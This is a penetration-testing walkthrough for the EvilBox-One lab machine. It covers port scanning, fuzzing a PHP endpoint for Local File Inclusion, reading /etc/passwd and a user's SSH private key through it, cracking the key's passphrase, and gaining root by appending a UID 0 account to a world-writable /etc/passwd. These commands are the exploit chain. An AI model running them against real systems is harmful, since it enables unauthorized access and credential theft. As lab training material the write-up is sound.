Skip to main content

EvilBox-One Walkthrough

Updated 7 min readMarkdown
Part of seriesPG Play Walkthroughs
EvilBox-One Walkthrough

Introduction

Welcome! I'm Koushik, a Security Engineer, and my goal with this walkthrough is to give you more than just a quick flag. I'll be demonstrating the complete methodology from enumeration to root on EvilBox-One, an easy-to-medium boot-to-root machine that highlights how minor web and system misconfigurations can chain together into a full system compromise.

In this write-up, we will walk step-by-step through discovering hidden web endpoints, exploiting a Local File Inclusion (LFI) vulnerability to extract an encrypted SSH private key, cracking its passphrase, and abusing a misconfigured /etc/passwd file for privilege escalation.

1. Reconnaissance & Enumeration

Nmap Scan Result

To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.

Used

-T4 - Accelerate scans by reducing timeouts and probe delays.

-Pn - Skip host discovery and treat the target as completely online.

-vv - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes.

-p- - Scan all 65535 ports.

-oN - Save the scan output in normal, human-readable format to a specified file.

nmap -T4 -Pn -p- -vv 192.168.209.212 -oN nmap.txt 

Output

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Nmap deep scan for open ports

Used

-A - This flag in Nmap enables an aggressive scan that combines OS detection (-O), service version detection (-sV), default NSE script scanning (-sC), and traceroute (--traceroute) into a single command.

nmap -T4 -Pn -p22,80 -A -vv 192.168.209.212 -oN nmap_deep.txt 

Output

22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsg5B3Ae75r4szTNFqG247Ea8vKjxulITlFGE9YEK4KLJA86TskXQn9E24yX4cYMoF0WDn7JD782HfHCrV74r8nU2kVTw5Y8ZRyBEqDwk6vmOzMvq1Kzrcj+i4f17saErC9YVgx5/33e7UkLXt3MYVjVPIekf/sxWxS4b6N0+J1xiISNc............
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
<SNIP>

Web Server Enumeration (Port 80)

Here is the default Apache2 Debian page with no obvious functionality.

Pasted image 20261130192515

So it is a good time to do directory busting.

Directory Bruteforce with Feroxbuster

Used

--url - Sets the target base URL (short flag: -u).

-x - Appends specified extensions to every word in the wordlist.

feroxbuster --url http://192.168.209.212 -x php txt zip
Pasted image 20261130192748

Found two interesting endpoints: /robots.txt and /secret/evil.php.

Navigating to /robots.txt returns a string (Hello H4x0r), which is a dead end.

Pasted image 20261130192623

Navigating to /secret/evil.php loads a blank page, suggesting it may accept hidden parameters.

Pasted image 20261130192651

2. Initial Access

Fuzzing /secret/evil.php endpoint for a vulnerable GET parameter capable of Local File Inclusion (LFI) by testing against /etc/passwd file using ffuf.

Used

-u (Target URL) - Specifies the target URL and marks the injection point with the FUZZ keyword (?FUZZ=/etc/passwd). ffuf replaces FUZZ with each entry from your wordlist on every request.

-w (Wordlist) - Defines the path to the wordlist file.

-ac (Auto-Calibration) - Automatically detects and filters out repetitive baseline responses.

ffuf -u http://192.168.209.212//secret/evil.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/big.txt -ac
Pasted image 20261130192821

ffuf identifies the parameter command with a different response.

Send command as a parameter and /etc/passwd as the value to get the passwd file content and identify local users present on the victim machine.

Pasted image 20261130192936

Got two local users: mowree and debian

Now, check if mowree's private SSH key is readable via the same LFI vulnerability.

To check, send command as a parameter and /home/mowree/.ssh/id_rsa as the value, and the private key of the mowree user is accessible.

TIP - On any other machine, if you cannot find the private SSH key id_rsa then try these alternatives:

id_ecdsa

id_ecdsa_sk

id_ed25519

id_ed25519_sk

id_dsa

Pasted image 20261130193019

From the header, we can see on the first line it mentioned that Proc-Type: 4,ENCRYPTED indicates that it is protected with a passphrase.

Copy it from View Page Source, then save it in a file.

Don't forget to add a newline at the end of the last line like this (if one isn't already present).

Pasted image 20261130193422

Or

Download it directly using wget

wget http://192.168.209.212/secret/evil.php?command=/home/mowree/.ssh/id_rsa -O id_rsa

To crack the passphrase, first convert the private key into a hash format compatible with John the Ripper. Use the rockyou.txt wordlist to crack the passphrase.

ssh2john id_rsa > key
john key --wordlist=/usr/share/wordlists/rockyou.txt
Pasted image 20261130194135

Got it. The passphrase is unicorn.

To SSH using our id_rsa private key, we have to set a restrictive file permission on id_rsa. Where only the file owner has read and write access (rw-).

Then log in via SSH as mowree.

chmod 600 id_rsa
ssh -i id_rsa mowree@192.168.209.212
Pasted image 20261130194239

List the directory contents and read the user(local) flag.

ls -al
cat local.txt
Pasted image 20261130194311

Got local.txt

3. Privilege Escalation

Now you can use an automated way of finding a Privilege Escalation path using scripts like Linpeas.sh.

Here I will go for the manual way of finding Privilege Escalation paths

To search the filesystem for world writable files to identify privilege escalation vectors run this

find / -writable -type f 2>/dev/null

The output reveals that /etc/passwd is world writable, meaning any low-privileged user on the system can modify /etc/passwd.

Pasted image 20261130194551 Pasted image 20261130194614

Why is this a critical vulnerability? This leads directly to full root privilege escalation: Even though modern Linux systems store password hashes in /etc/shadow, authentication utilities still accept a valid password hash placed directly in /etc/passwd (replacing the x placeholder). Because Linux identifies the root user by UID 0, any user with write access to /etc/passwd can append a new UID 0 account with a known password and immediately escalate to root.

To do this, we need to make a password hash first on the victim machine using openssl.

On Victim Machine

openssl passwd hello

You will get a hash of hello

Make a line exactly like the first line of /etc/passwd. Just replace the username and the x with the new value and append the new user (root1) with UID 0 and GID 0 to /etc/passwd

echo "root1:y4TJuX3NAy43.:0:0:root:/root:/bin/bash" >> /etc/passwd

Read the passwd file to confirm the update

Pasted image 20261130194731 Pasted image 20261130194749

Then switch to the new root account

su root1

We get root access rather than root1 because Linux grants privileges based on the UID (0), not the username.

Pasted image 20261130194834

Finally, read the root(proof) flag from the /root directory to complete the box:

cat /root/proof.txt
Pasted image 20261130194904

Conclusion

The EvilBox-One machine demonstrates how simple misconfigurations can chain together into a complete system compromise. By enumerating hidden endpoints and fuzzing parameters, we uncovered a Local File Inclusion vulnerability in /secret/evil.php that exposed mowree's encrypted SSH private key. Cracking its weak passphrase with John the Ripper granted initial access, while a world-writable /etc/passwd file provided a straightforward path to escalate privileges to root.

Key Takeaways:

  • Restrict File Access: Ensure sensitive server-side scripts sanitize user-supplied input to prevent Local File Inclusion.
  • Enforce Strong Passphrases: Protect SSH private keys with strong, non-dictionary passphrases.
  • Audit File Permissions: Critical system files like /etc/passwd should strictly remain writable only by root (644 permissions).

Thanks for reading and taking the time to check this out, I hope it added some value to your journey!

No comments yet. Be the first to comment.

PG Play Walkthroughs

Part 3 of 3

Step-by-step penetration testing walkthroughs for OffSec Proving Grounds (PG) Play machines. Each writeup breaks down the full attack lifecycle—from initial Nmap reconnaissance and service enumeration to vulnerability exploitation and Linux privilege escalation—with practical commands, methodology notes, and key takeaways for OSCP and offensive security prep.

Start from the beginningFunboxEasyEnum WalkthroughIntroduction Welcome! I'm Koushik, a Security Engineer, and in this guide, we'll be tackling FunboxEasyEnum, a beginner-friendly Linux machine from OffSec Proving Grounds Play. My goal here is to give